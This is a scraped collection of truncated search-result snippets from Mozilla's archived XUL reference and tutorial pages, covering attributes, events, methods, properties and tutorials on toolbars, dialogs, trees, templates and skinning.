n this function is called when links are dropped to the browser element, with the following arguments. droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface ...
icon - Archive of obsolete content
Archive › Mozilla › XUL › Attribute › icon
« xul reference home icon mozilla 1.8 type: string this attribute should be used to set the usage for common buttons. some platforms display these buttons with a small icon indicating their usage. this should be used in place of the image attribute. possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. if you are using a button that matches one of these common usages, use the icon attribute to indicate this. see the appearance of the different icons on some available platforms. ...
ignorekeys - Archive of obsolete content
...
maxrows - Archive of obsolete content
...
menuitem.name - Archive of obsolete content
only one menuitem in each radio group can be checked at a time. ...
menuitem.type - Archive of obsolete content
« xul reference home type type: one of the values below can be used to create checkable menuitems or for radio button menuitems. checkbox the menuitem is checked. the checked attribute determines whether the menuitem is checked or not. radio the menuitem becomes part of a radio group. other menuitems that have the same value for their name attributes are part of the same radio group. only one menuitem in the same radio group can be checked at once. more information on adding checkmarks to menus in the xul tutorial ...
minresultsforpopup - Archive of obsolete content
...
modifiers - Archive of obsolete content
shift: the shift key. alt: the alt key. on the macintosh, this is the option key. on macintosh this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text. ...
oncommandupdate - Archive of obsolete content
...
resizer.dir - Archive of obsolete content
bottomend resized down and toward the end of the line (toward the right for left-to-right locales, toward the left for right-to-left locales). ...
resizer.type - Archive of obsolete content
« xul reference hometypetype: stringset this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window. as some platforms provide this resizing grip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer. ...
separator.orient - Archive of obsolete content
« xul reference home orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator. note that the values are the reverse of what seems more likely. horizontal the separator separates vertically placed elements. vertical the separator separates horizontally placed elements. see also orient ...
statedatasource - Archive of obsolete content
« xul reference home statedatasource type: uri chrome xul may specify an rdf datasource to use to store tree state information. this is used to hold which tree items are open and which items are collapsed. this information will be remembered for the next time the xul file is opened. if you do not specify this attribute, state information will be stored in the local store (rdf:local-store). ...
statusbar - Archive of obsolete content
...
statustext - Archive of obsolete content
« xul reference home statustext type: string used to set the text that appears on the status bar when the user moves the mouse over the element. mozilla doesn't adjust the status bar automatically however. this attribute serves only as a place to keep the text. in firefox, this text is automatically placed in the statusbar for menuitems on the menu bar. example <!-- sets the status message when mouse is over buttons --> <button label="connect" statustext="connect to remote server" onmouseover="setstatusmessage(this)" onmouseout="clearstatusmessage()"/> <button label="ping" statustext="ping the server" onmouseover="setstatusmessage(this)" onmouseout="clearstatusmessage()"/> <statusbar> <statusbarpanel id="mystatuspanel" label="" flex="1"/> <spacer flex="1"/...
textbox.minResultsForPopup - Archive of obsolete content
as of gecko 1.9.1, this attribute is now always specified in lower case. ...
wait-cursor - Archive of obsolete content
mouse is hovering over the element. usually, you would only use this on the window element or other top-level elements. ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
l children of an element with id=someelement from the current document, by calling removechild() method to remove the first child, until there are no children remaining. note, that haschildnodes() and firstchild are also part of the dom api. var element = document.getelementbyid("someelement"); while(element.haschildnodes()){ element.removechild(element.firstchild); } inserting menu items to a menu this example adds two new menu items to a <menupopup>: to the start and to the end of it. it uses document.createelementns() method to create the items, and insertbefore() with appendchild() to insert the created xml elements within the document. note: document.createelementns() creates an element, but does not put it anywhere in the document. you need to use other dom methods, such ...
CheckboxStateChange - Archive of obsolete content
heckbox> element has changed. this event is used mainly for an accessibility purpose. general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean does the event normally bubble? cancelable read only boolean is it possible to cancel the event? related events valuechange radiostatechange ...
DOMMenuItemActive - Archive of obsolete content
ctive event is executed when a <menu> or a <menuitem> has been hovered or highlighted. general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
DOMMenuItemInactive - Archive of obsolete content
e event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted. general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
RadioStateChange - Archive of obsolete content
<radio> element has changed. this event is used mainly for an accessibility purpose. general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean does the event normally bubble? cancelable read only boolean is it possible to cancel the event? related events checkboxstatechange valuechange ...
ValueChange - Archive of obsolete content
ss> for example, has changed. this event is used mainly for an accessibility purpose. general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean does the event normally bubble? cancelable read only boolean is it possible to cancel the event? related events checkboxstatechange radiostatechange ...
broadcast - Archive of obsolete content
aster) being listened to are changed. the event handler should be placed on an observer. general info specification xul interface event bubbles no cancelable no target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
close - Archive of obsolete content
nload event should be used to capture all attempts to unload the window. general info specification xul interface event bubbles no cancelable no target window default action the window is closed. properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. example window.addeventlistener("close", function( event ) { // make the close button ineffective event.preventdefault(); }, false); ...
command - Archive of obsolete content
Archive › Mozilla › XUL › Events › command
ead of the click event because it will be called in all of the needed cases. general info specification xul interface xulcommandevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not cancelable read only boolean whether the event is cancellable or not? view read only windowproxy document.defaultview (window of the document) detail read only long (float) unused; always zero. sourceevent read only event th...
commandupdate - Archive of obsolete content
a <commandset>. this event would be used to update the disabled status of its commands. general info specification xul interface event bubbles no cancelable no target element default action none. properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
popuphidden - Archive of obsolete content
den event is executed when a <menupopup>, <panel> or <tooltip> has become hidden. general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
popuphiding - Archive of obsolete content
event is executed when a <menupopup>, <panel> or <tooltip> is about to be hidden. general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
popupshowing - Archive of obsolete content
ion of the event can be prevented to prevent the popup to appear. general info specification xul interface popupevent bubbles yes cancelable yes target element default action a popup is displayed properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
popupshown - Archive of obsolete content
wn event is executed when a <menupopup>, <panel> or <tooltip> has become visible. general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
Accessing Files - Archive of obsolete content
tory where xpcom components are installed. temp the temporary directory. you would store any temporary or cache files here. there are a number of other values that may be used, most of which are platform specific. for instance, on windows, the value 'strt' returns the start directory, where applications which run when the system starts up are placed. on other platforms, using this value will just result in an error. ...
Getting File Information - Archive of obsolete content
...
IO - Archive of obsolete content
Archive › Mozilla › XUL › FileGuide › IO
d version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. files and streams this section describes how to access and get information about files, read from files and create and write files. using files a xul application or extension may access files on disk, and either read or write to files. a file is accessed via a file object. to get a reference to a file object use nsiscriptableio.getfile(). the following example will retrieve a reference to a file located in the pro...
addItemToSelection - Archive of obsolete content
...
appendCustomToolbar - Archive of obsolete content
the method returns the dom element for the created toolbar. ...
contains - Archive of obsolete content
...
ensureElementIsVisible - Archive of obsolete content
if the item is already visible, no scrolling occurs. ...
ensureIndexIsVisible - Archive of obsolete content
if the item is already visible, no scrolling occurs. ...
getIndexOfFirstVisibleRow - Archive of obsolete content
« xul reference home getindexoffirstvisiblerow() return type: integer returns the index of the first displayed row. note that this is not the same as the first row -- if the displayed items have been scrolled down, this function will retrieve the index of the first row that the user can see. ...
getIndexOfItem - Archive of obsolete content
...
getSelectedItem - Archive of obsolete content
« xul reference home getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using this method. the argument index specifies the index in the list of the selected items, not the row number of the item. the item index is zero-based, thus this example will return the first selected item: getselecteditem(0). ...
insertItem - Archive of obsolete content
em. otherwise, if the beforepermanent argument is false, the new item is added to the end of the toolbar. the third argument can be used to wrap the new item in another element. usually, the last argument will be null as it is mainly for the use of the customize dialog. the id should match an element in the toolbar's toolbarpalette. some special ids may also be used to create special spacing items: separator: a separator, which is drawn as a vertical bar. spacer: a non-flexible space. spring: a flexible space. the method returns the dom element for the created item. ...
moveByOffset - Archive of obsolete content
« xul reference home movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many items. if offset is negative, adjusts the focused item backward by that many items. if isselecting is true, then the selection is also adjusted. if isselectingrange is also true, then the new item is selected in addition to any currently selected items. if isselectingrange is false, any existing selection is cleared. items that are hidden are skipped. ...
openPopup - Archive of obsolete content
lative to the viewport of the document containing the popup node. in this case, the position and attributesoverride arguments are ignored. iscontextmenu the iscontextmenu argument should be true for context menus and false for all other types of popups. it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. triggerevent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). ...
openSubDialog - Archive of obsolete content
usually this method would be used to allow the user to configure advanced options. the arguments are similar to the window's opendialog method except that the window name does not need to be supplied. the url should be a xul file. ...
openWindow - Archive of obsolete content
the windowtype is a string specifying a window type. if a window with that type is already open, this method will just switch that window to the front and focus it instead of opening another window. ...
selectAll - Archive of obsolete content
a select event is sent after the selection is made. ...
selectItem - Archive of obsolete content
a select event is sent after the selection is made. ...
selectItemRange - Archive of obsolete content
« xul reference home selectitemrange( startitem, enditem ) return type: no return value selects the items between the two items given as arguments, including the start and end items. all other items are deselected. this method does nothing for single-selection list boxes. a select event is sent after the selection is made. ...
timedSelect - Archive of obsolete content
...
Positioning - Archive of obsolete content
user can close the context menu just by clicking in the same location. for a tooltip, the position attribute controls how the tooltip is anchored to the element with the tooltip attribute. you wouldn't normally use the position attribute on a tooltip; instead you would just want the tooltip to appear at its default position which is near the mouse pointer. for instance: <menupopup id="edititems" position="end_before"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="clipboard" popup="edititems"/> in this example, a menupopup is attached to a label via the popup attribute, which will cause the popup to appear when the label is left-clicked. the position attribute is used to specify that the popup should appear at the 'end_befo...
children - Archive of obsolete content
...
currentSet - Archive of obsolete content
« xul reference currentset not in seamonkey 1.x type: comma-separated list of strings holds a comma-separated list of the ids of the items currently on the toolbar. for spacers, separators, and flexible spacers the following strings are used instead of ids: "spacer", "separator", "spring". an empty toolbar has a currentset value of "__empty". you may change the current set of items by setting this property. be careful, as setting this property doesn't automatically update the currentset attribute. ...
firstPermanentChild - Archive of obsolete content
« xul reference firstpermanentchild not in seamonkey 1.x type: element the first permanent child of the toolbar. a permanent child is one that is not customizable and remains on the toolbar. items that are placed directly inside the toolbar without being in the toolbarpalette are permanent. ...
itemCount - Archive of obsolete content
« xul reference itemcount type: integer read only property holding the number of child items. example var bucket = document.getelementbyid("attachmentbucket"); if(bucket.itemcount == 0) { dump("\n\n no attachments \n\n"); } else { dump("\n\n attachment exists \n\n"); } ...
lastPermanentChild - Archive of obsolete content
« xul reference lastpermanentchild not in seamonkey 1.x type: element the last permanent child of the toolbar. a permanent child is one that is not customizable and remains on the toolbar. items that are placed directly inside the toolbar without being in the toolbarpalette are permanent. ...
listbox.currentIndex - Archive of obsolete content
« xul reference currentindex type: integer set to the index of the currently focused item in the list. if no item is focused, the value will be -1. (or, on some platforms, typeof(listboxcurrentindex) will be undefined) in a single selection list, the current index will always be the same as the selected index. in a multiple selection list, the currently focused row may be modified by the user without changing the selection by pressing the control key and pressing the cursor keys to navigate. ...
selectedCount - Archive of obsolete content
...
selectedIndex - Archive of obsolete content
« xul reference selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected ...
view - Archive of obsolete content
Archive › Mozilla › XUL › Property › view
« xul reference view type: nsitreeview the view for the tree, which is the object which generates the data to be displayed. you can assign an object which implements nsitreeview to this property. trees built from rdf or those which use treeitems directly will already have a view. functions available in the view allow one to retrieve the data within the cells, and determine which rows are nested within others. for a complete list of view functions, see the nsitreeview interface. ...
Property - Archive of obsolete content
referenceelements preferencepanes preferences priority radiogroup readonly readonly ref resource resultspopup scrollboxobject scrollincrement scrollheight scrollwidth searchbutton searchcount searchlabel searchparam searchsessions second secondleadingzero securityui selected selectedbrowser selectedcount selectedindex selecteditem selecteditems selectedpanel selectedtab selectionend selectionstart selstyle seltype sessioncount sessionhistory showcommentcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling tabpanels tag textlength textvalue timeout title tool...
menuitem-non-iconic - Archive of obsolete content
« xul reference home menuitem-non-iconic normally, menuitems have a margin to the left for an image or checkmark. this class may be used to remove this margin so that the menuitem appears on the left edge of the menupopup. ...
thin - Archive of obsolete content
Archive › Mozilla › XUL › Style › thin
...
Additional Navigation - Archive of obsolete content
previousnext » retrieving literals the triples used so far have all had variables in both the subject and object. however, a string value may be used instead. since the subject of an rdf arc is always a resource, the subject may be a resource uri. the object attribute may be a resource uri or a literal value. using a literal as the object of a triple is a common way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> thi...
Building Hierarchical Trees - Archive of obsolete content
remember to make the left column the primary column for these to appear. ...
Building Trees - Archive of obsolete content
can use a template with a tree just like any other template. however, since templates are often used with trees—especially with large amounts of data—the template system supports a special builder just for creating trees. rather than generate content for every row in the tree, the results are stored in a list inside the builder. this means that dom nodes are not constructed for any of the items. this is much more efficient; creating large numbers of dom nodes adds a lot of overhead. the performance advantage is possible since trees only display text. as a result, the builder only has a few pieces of information to keep track of. to use the tree builder, you need to add a flags attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com...
Result Generation - Archive of obsolete content
that means that rdf is a graph of nodes and arrows between them where each node and arrow has some label. since it's a graph, arrows can point all over the place and nodes can have any number of arrows pointing out of them and pointing at them. and also because it is a graph, there is no real starting point or root node so you can just start anywhere. ...
SQLite Templates - Archive of obsolete content
<template> <query> select name from myfriends </query> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the query returns the list of values from the 'name' column in the table 'myfriends'. the action body, starting at the node with uri="?" is repeated for each result returned from the query. if the query returns six results, six listitems will be generated. the labels have the special value '?name'. the syntax with the question mark is similar as with the other query types. it means, substitute the attribute value with the value of a column from the result. in this case, '?name' means replace this with the value of the name column. the effect is a listbox containing the names from the database. you can return multiple columns or f...
Code Samples - Archive of obsolete content
he samples here are designed to work in firefox, thunderbird, sunbird and seamonkey, except where the text says otherwise. launch a file on your computer to launch a file on your computer, use code like this. change the first line to specify the file that you want to launch. you can launch an executable file or some other file that your operating system knows how to open. note: on operating systems that use backslash characters, double each backslash character. on operating systems that use forward-slash characters, specify the file in the normal way. const path = "c:\\windows\\charmap.exe" var file = components .classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox o...
Custom toolbar button - Archive of obsolete content
only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- firefox --> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird mail --> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird compose --> <toolbarpalette id="msgcomposetoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird address book --> <toolbarpalette id="addressbooktoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- sunbird --> <toolbarpalette id="calendartoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- button details --> <toolbarbutton id="cust...
Toolbars - Archive of obsolete content
ar buttons to mozilla applications. custom toolbar button another example of how to create a toolbar button, complete with a sample extension you can download and try. code snippets: toolbar code snippets that are helpful when working with toolbars. community view mozilla extension development forums... mailing list newsgroup rss feed #extdev irc channel mozillazine forum about:addons newsletter mozilla's web-tech blog mozdev project owners planet mozilla other community links... tools dom inspector edit the live dom (firefox and thunderbird) mozilla labs add-on builde...
Tree Widget Changes - Archive of obsolete content
you can then set or clear the checkbox for a particular cell in that column by setting the value attribute to true, or leaving out the attribute. note that it's the value attribute you use, not the label attribute. <treecell/> <treecell value="true"/> you need to specify the checkbox image with css for the checkbox to display. (do not set id of the column to be 'checked' it will cause problems with the css) treechildren::-moz-tree-checkbox(checked) { /* css for checked cells */ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } in addition, checkmark columns support editing: <tree editable="true"> <treecols> <treecol type="checkbox" editable="true"> ... </treecol> </treecols> </tree> if the column is editable, the user can click the...
Adding Event Handlers - Archive of obsolete content
e some functions in the file and we can call them in event handlers. you can include multiple scripts in a xul file by using multiple script tags, each pointing to a different script. you may use relative or absolute urls. for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this. by default the javascript console only shows errors from web content. to show errors in chrome javascript, it is necessary to change the preference javascript.options.showinconsole to tr...
Adding Methods to XBL-defined Elements - Archive of obsolete content
um method. (the bound element.) the parameter tag allows you to define parameters for a method. because mozilla uses javascript as its scripting language, and javascript is a non-typed language, you do not need to specify the types of the parameters. however, in the future, other languages may be used with xbl. methods are only available to call after the page is rendered, which may cause problems if using createelement. for example, the following code will probably fail: var element = document.createelement("my_element"); element.getmaximum() // this will fail by the way, it is safe to call methods from the constructor, other methods on the object and event handlers. accessing the anonymous content there may be times when you want to modify some aspect of the elements defined in the c...
Adding more elements - Archive of obsolete content
r. a groupbox has the advantage that it draws a box with a nice beveled look, suitable for the current theme. let us change the box into a groupbox: <groupbox orient="horizontal"> <caption label="search criteria"/> <menulist id="searchtype"> . . . <spacer style="width: 10px;"/> <textbox id="find-text" flex="1" style="min-width: 15em;"/> </groupbox> there are other cosmetic problems as well. we could also have the groupbox grow so that it extends vertically to the bottom of the box. also, we could modify some of the margins so that the elements are positioned better. we will see more examples of the box model and some of its features as we continue to add elements throughout the tutorial. find files example so far source view next, we will look at how to create stacks. ...
Adding Properties to XBL-defined Elements - Archive of obsolete content
he dom provide access to get and set the properties of elements. with xbl, you can define your own properties for the elements you create. you can also add methods that can be called. that way, all you need is to get a reference to the element (using document.getelementbyid or a similar function) and then get or set the additional properties and call the methods on it. there are three types of items you can add. fields are used to hold a simple value. properties can also be used to hold a value but may have code execute when an attempt is made to retrieve or modify the value. methods are functions which may be executed. all three are defined within an implementation element, which should be a child of the binding element. within the implementation, you define individual field, property,...
Anonymous Content - Archive of obsolete content
» in this section we'll look at creating content with xbl. xbl content xbl can be used to automatically add a set of elements inside another element. the xul file only needs to specify the outer element while the inner elements are described in the xbl. this is useful for creating a single widget that is made up of a set of other widgets, but can be referred to as only a single widget. mechanisms are provided for adding attributes to the inner elements that were specified on the outer element. declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"...
Content Panels - Archive of obsolete content
a document loaded from a different page. sometimes, you will want to change part of the window. a good example is a step-by-step wizard that guides you through a number of screens, asking a set of questions. each time the user clicks the next button, the next screen of the wizard is displayed. you could create a wizard interface by opening a different window for each screen. there are three problems with this approach. first, each window could appear in a different location (although there are ways around this). second, the elements such the back and next buttons are the same throughout the interface. it would be much better if just the content area of the wizard changed. third, it would be difficult to co-ordinate scripts when running in different windows. note that xul does have a wizard e...
Creating Dialogs - Archive of obsolete content
t should be used in place of the window element when creating a dialog. it provides the useful ability to construct up to four buttons along the bottom of the dialog forok,cancel, and so on. you do not need to include the xul for each button; however, you do need to supply code to perform the appropriate tasks when the user presses each button. this mechanism is necessary because different platforms have a specific order in which the buttons appear. example dialog source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" ondialogaccept="return dook();" ondialogcancel="r...
Creating a Skin - Archive of obsolete content
age: url("chrome://global/skin/icons/images/close-button.jpg"); } button:hover { color: #000066; } we add some images to the buttons and make the find button have bold text to indicate that it is the default button. the last rule applies to buttons when the mouse is hovering over them. we set the text color to dark blue in this case. finally, some minor changes to the spacing around the items, by setting margins: tabbox { margin: 4px; } toolbarbutton { margin-left: 3px; margin-right: 3px; } after those changes, the find files dialog now looks like the image. as you can see, some simple changes to the style rules has resulted in quite a different appearance to the find files dialog. we could continue by changing the menus, the grippies on the toolbar and the input and chec...
Creating a Window - Archive of obsolete content
scripts. you will usually put an id attribute on all elements. the name can be anything you want although it should be something relevant. title="find files" the title attribute describes the text that would appear on the title bar of the window when it is displayed. in this case the text 'find files' will appear. orient="horizontal" the orient attribute specifies the arrangement of the items in the window. the value horizontal indicates that items should be placed horizontally across the window. you may also use the value vertical, which means that the items are placed in a column. this is the default value, so you may leave the attribute off entirely if you wish to have vertical orientation. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this line declares...
Custom Tree Views - Archive of obsolete content
« previousnext » the tree view holds the data to be displayed in the tree. creating a custom view so far, we have only been using the built-in content tree view. in this section, we will look at creating a custom view. this is necessary when the page has a lot of data or that data is highly nested. for instance, 5000 rows of treeitems would load too slowly. you might also implement a custom view when you want to perform computations on the data to be displayed. since the view can store and retrieve the data in the most suitable manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed. note: the tree-related interfaces changed in gecko 1.8. see tree widget changes for details. to implement a custom view, you...
Document Object Model - Archive of obsolete content
to the next sibling in sequence previoussibling reference to the previous sibling in sequence these properties allow you to navigate through a document is various ways. for example, you might get the first child of an element using the firstchild property and then navigate through the children using the nextsibling property. or, you might accomplish the same thing by iterating through the items in the childnodes list. in mozilla, the latter method is more efficient. the following example shows how to iterate over the children of the root node: var childnodes = document.documentelement.childnodes; for (var i = 0; i < childnodes.length; i++) { var child = childnodes[i]; // do something with child } the childnodes variable will hold the children of the document root element. we the...
Install Scripts - Archive of obsolete content
next, you need to specify which files should be installed. this involves the use of two functions, adddirectory() and addfile(). the adddirectory() function tells the installer that a directory from the xpi archive (and all of its contents) should be installed to a particular location. the addfile() is similar but for a single file. both the adddirectory() and addfile() functions have various forms. the simplest takes only one argument, the directory from the installer to install to the assigned installation directory. adddirectory ( dir ); addfile ( dir ); example: adddirectory("findfile"); the example above will specify that the findfile directory from the installer archive should be installed. we can call these functions multiple times to install other files. next, we'll want to regis...
Manifest Files - Archive of obsolete content
icationid.xul which you can load using the shortcut url chrome://applicationid/content/. if you are creating skin and/or locale portions, repeat the steps above, except that the format of the contents.rdf file is slightly different. look at the contents.rdf files in other applications for details. troubleshooting creating a chrome package can often be tricky and it is difficult to diagnose problems. here are a few tips in case you get stuck. open the file <mozilla-directory>/chrome/chrome.rdf. you should find references to your application id in there. if not, something is wrong with registration. if it is there, you are probably using the wrong chrome url when you load the file. try deleting the <mozilla-directory>/chrome/chrome.rdf file. it will get regenerated. also delete the entire ...
Modifying the Default Skin - Archive of obsolete content
. the global directory within this archive contains the main style definitions for how to display the various xul elements. by changing these files, you can change the look of the xul applications. customize with userchrome.css if you place a file called 'userchrome.css' in a directory called 'chrome' inside your user profile directory, you can override settings without changing the archives themselves. this directory should be created when you create a profile and some examples placed there. the file 'usercontent.css' customizes web pages, whereas 'userchrome.css' customizes chrome files. for example, by adding the following to the end of the file, you can change all menubar elements to have a red background. menubar { background-color: red; } if you open any firefox window after ma...
More Button Features - Archive of obsolete content
button is pressed, much like the menulist. however, in this case you must set the type attribute to the value menu. example 5 : source view <button type="menu" label="device"> <menupopup> <menuitem label="printer"/> <menuitem label="mouse"/> <menuitem label="keyboard"/> </menupopup> </button> in this example, the user may click the button to pop up a menu containing three items. note that selecting one of these menu items does not change the label on the button, unlike a menulist. this type of button is intended to be used like a menu, with scripts attached to each item to perform a task. we'll see more on menus later. you can also set the type attribute to the value menu-button. this also creates a button with a menu, but the appearance will be different. the image to ...
Open and Save Dialogs - Archive of obsolete content
on to set the file types that you wish to have displayed. fp.appendfilters(nsifilepicker.filterhtml | nsifilepicker.filterimages); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); the first example will add filters for html and for image files. the user will only be able to select those types of files. the manner in which this is done is platform specific. on some platforms, each filter will be separate and the user can choose between html files and image files. the second example will add filters for text files and for all files. the user therefore has the option to display text files only or all files. you can also use filterxml and filterxul to filter for xml and xul files respectively. if you would like to filter for custom files, you can use the appendfilter...
RDF Datasources - Archive of obsolete content
content-length http://home.netscape.com/nc-rdf#content-length the length of the file. lastmodifieddate http://home.netscape.com/nc-rdf#lastmodifieddate the date that url was last modified. extension http://home.netscape.com/nc-rdf#extension the extension of the file, including the period. this property is only available on platforms that use file extensions. possible files roots nc:filesroot top level of the filesystem (usually the list of drives) a file url by using a file url for the ref attribute, you can select a specific directory to be returned. for example, you might use file:///windows or files:///usr/local. the files datasource is an exampl...
Skinning XUL Files by Hand - Archive of obsolete content
pecifically identified elements, and to classes of elements creates the potential for redundancies or conflicts in the style information. to avoid this, the makers of the css specification have created some rules of precedence that look at how many different rules have been defined for an element, where the style definitions appear (i.e., externally in a css file or inline), where the elements themselves appear, and other esoteric variables. if you create a style in your custom stylesheet for a button with a particular id, for example, some of the more basic style information for buttons in the global skin may take precedence over your new style and cause it not to be applied. make sure you are aware of the way that the global skin defines the skin and which elements, in general, it is addre...
Splitters - Archive of obsolete content
it. for now, it serves to demonstrate the splitter. the splitter has been set to a collapse value of before meaning that the element just before the splitter will collapse. here, it is the iframe. as the images below show, when the grippy is clicked, the iframe is collapsed and the buttons shuffle up. the resizeafter attribute has been set to grow so that the elements after the splitter push themselves down when the splitter is dragged down. this results in the content of the frame growing to any size. it should be noted that the window does not resize itself automatically. you'll also notice that this is a horizontal splitter because it has been placed in a vertical box. normal state: collapsed state: find files example so far : source view next, we'll find out how to create tool...
Stack Positioning - Archive of obsolete content
placement of stack children normally, the child elements of a stack stretch to fit the size of the stack. however, you may also place the children at specific coordinates. for example, if a stack has two buttons as children, one may be placed 20 pixels from the left edge and 50 pixels from the top edge. the second button can be placed at 100 pixels from the left edge and 5 pixels from the top edge. the position of a child element may be specified by placing two attributes on the element. for the horizontal position, use the left attribute and for the vertical position, use the top attribute. ...
Stacks and Decks - Archive of obsolete content
ack larger. shadowing is very useful for creating the disabled appearance of buttons: example 2 : source view <stack style="background-color: #c0c0c0"> <description value="disabled" style="color: white; padding-left: 1px; padding-top: 1px;"/> <description value="disabled" style="color: grey;"/> </stack> this arrangement of text and shadow colors creates the disabled look under some platforms. note that events such as mouse clicks and keypresses are passed to the element on the top of the stack, that is, the last element in the stack. that means that buttons will only work properly as the last element of the stack. decks a deck element also lays out its children on top of each other much like the stack element, however decks only display one of their children at a time. this would ...
The Box Model - Archive of obsolete content
by combining a series of boxes, spacers and elements with flex and pack attributes, you can control the layout of a window. ...
Toolbars - Archive of obsolete content
utton label="back"/> <toolbarbutton label="forward"/> </toolbar> </toolbox> this has created a toolbar containing two buttons, a back button and a forward button. the one toolbar has been placed inside the toolbox. this has involved four new tags, which are described here. toolbox a box that contains toolbars. toolbar a single toolbar that contains toolbar items such as buttons. toolbarbutton a button on a toolbar, which has all the same features of a regular button but is usually drawn differently. the toolbar is the main element that creates the actual toolbar. inside it are placed the individual toolbar items, usually buttons, but they can be other elements. in the example above, only one toolbar was created. multiple toolbars can be ...
Trees and Templates - Archive of obsolete content
